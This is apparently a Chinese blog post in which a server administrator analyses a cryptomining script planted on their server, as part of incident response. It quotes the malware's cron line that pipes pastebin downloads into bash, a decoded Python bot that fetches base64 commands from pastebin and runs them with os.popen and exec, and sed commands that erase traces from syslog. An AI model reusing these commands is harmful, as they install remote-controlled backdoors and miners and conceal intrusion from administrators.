su记:挖矿脚本分析Ⅰ

图片        2019-07-11   来源:qy雪路浪游

昨天我记录了一下周日服务器被植入挖矿脚本的经过,但是还有一个很重要的工作没有做,那就是分析这个脚本是怎么实现保活,又如何隐藏,以及启动挖矿脚本,还有一些我的猜测


再开始分析脚本之前,我先回答一个问题


问:昨天提到我是先修改 hosts,再清理定时任务,就有小伙伴问我,既然是定时任务,为什么不直接删除定时任务呢?


答:因为我担心这个只是定时启动方案之一,如果我清理了可能还有别的脚本会保活,或者某守护进程负责下载或者拉起这个脚本,也有可能会损失样本,所以我选择了直接 hosts 修改,快速防止脚本定时下载启动


从 cron 任务中,发现了去下载脚本的定时任务

crontab -l

*/3 * * * * root (curl -fsSL https://pastebin.com/raw/EpLA3n3P||wget -q -O- https://pastebin.com/raw/EpLA3n3P||python -c 'import urllib2 as fbi;print fbi.urlopen(\"https://pastebin.com/raw/GztXu4w5\").read()')|bash

这个定时任务很简单就是 curl 下载或者 wget 下载某脚本或者 python 下载某脚本并执行,写了这一串其实是为了防止某些服务器没有 wget 或者 curl,所以提供了三种方式保证定时任务的执行成功率


在写本文的时候这个定时任务的这三个地址已经不能访问,此外在 20190114 这个黑客又上传了新的脚本,删除了某些函数,不过我在排查问题的时候做了备份,还可以 “还原现场”


首先脚本是 bash64 加密的(凭直觉),解密以后大致内容是这样的(删除了函数的具体实现,想要完整脚本可以去 https://github.com/lingxing1017/TheGuest 下载)

function system() {} # 替换 httpsntp,ftpsntp 每天执行一下,下载的内容就是上面展示的脚本哦,可见 system 就是为了保活


function library() {} # 为不同的架构提供 libntpd,详情见下文对 dragon 函数分析

function dragon() {}


function cronhigh() {} # 通过各种方式各种时间拉起自己


function clearup() {} # 清理日志,说实话是领教了,详情见下文分析


# 下面的函数等下篇再分析,透露下,根据配置不同采用不同的挖矿算法

function spreada() {}

function downloadlow() {}

function downloadhigh() {}

function testhigh() {}

function successhigh() {}

function successlow() {}


# 用于脚本升级

update=$( (curl -fsSL --max-time 120 https://pastebin.com/raw/2unJiD3b || wget -q -O - https://pastebin.com/raw/2unJiD3b) )

if [ "$update" == "update"x ];then

    echo "An update exists boss"

    rm -rf /tmp/.tmpk

    if [ ! -f "/tmp/.tmpold" ]; then

        spreada

    fi

else

    echo "NO update exists boss"

fi


# 脚本主要执行部分

BS=$( whoami )

echo "I am $BS"

if [ "$BS" == "root" ];then

    ps -fe|grep 'watchbog'|grep -v grep|wc -l

    if [ $? -ne 0 ];then

        echo "It's running boss"

        system

        cronhigh

        clearup

        if [ ! -f "/usr/local/lib/libntpd.so" ]; then

            echo "library"

        fi

    else

        system

        cronhigh

        if [ ! -f "/usr/local/lib/libntpd.so" ]; then

            echo "library"

        fi

        downloadhigh

        sleep 15

        pm=$(ps -fe|grep 'watchbog'|grep -v grep|wc -l)

        if [ ${pm} -ne 0 ];then

            if [ ! -f "/tmp/.tmpc" ]; then

                successhigh

            fi

        fi

        sleep 30

        if [ ${pm} -eq 0 ];then

            testhigh

            if [ ${pm} -ne 0 ];then

                successhigh

            fi

        fi

        if [ ${pm} -eq 0 ];then

            downloadlow

            if [ ${pm} -ne 0 ];then

                successlow

            fi

        fi

        

    fi

    clearup

fi


# 清理各种痕迹

clearup

if [ -f "/tmp/.spread" ]; then

    rm -rf /tmp/.spread

    rm -rf /tmp/.tmpupdateaa

    pkill -f RED

    pkill -f relax

    pkill -f TnF

    rm -rf /opt/test/

    rm -rf /tmp/.finished

    rm -rf /var/tmp/systemd-private-xfjdhdicjijo473skiosoohxiskl573q-systemd-timesync.serviced-g1g5qf/cred/fghhhh/data/

fi

clearup


library 函数是是为不同的架构提供了 libntpd,具体只要看调用时的逻辑,就显而易见了。作用就是 dragon 函数是后台 python 执行了一个脚本,base64 加密的,解密以后内容是

#coding: utf-8

#simple http_bot

import urllib

import base64

import os


def sos():

url = 'https://pastebin.com/raw/05p0fTYd'

try:

page=base64.b64decode(urllib.urlopen(url).read())

f = os.popen(str(page))

except:

print('failed to execute os command')

pass


def runScript():

url = 'https://pastebin.com/raw/KxWPFeEn'

try:

page=base64.b64decode(urllib.urlopen(url).read())

exec(page)

except:

print('failed to execute os python script')

pass


d= 'https://pastebin.com/raw/X6wvuv98'

try:

page=base64.b64decode(urllib.urlopen(d).read())

if page == 'os':

sos()

elif page == 'script':

runScript()

else:

print('I can\'t understand the action am given')

except:

print('Sorry boss I can\'t get instructions')

pass

脚本的内容很好理解,但是下载的文件目前都没有具体内容,所以猜测其作用是开后门和保活,为什么这样理解呢?主要是 python 调用了 os.popen 以及 exec 函数,这个我再观察几天


clearup 中最让我觉得有收获就是下面这段,这个流编辑器删除了关键字所在的行,让我难以通过日志发现问题

sed -i '/pastebin/d' /var/log/syslog

sed -i '/github/d' /var/log/syslog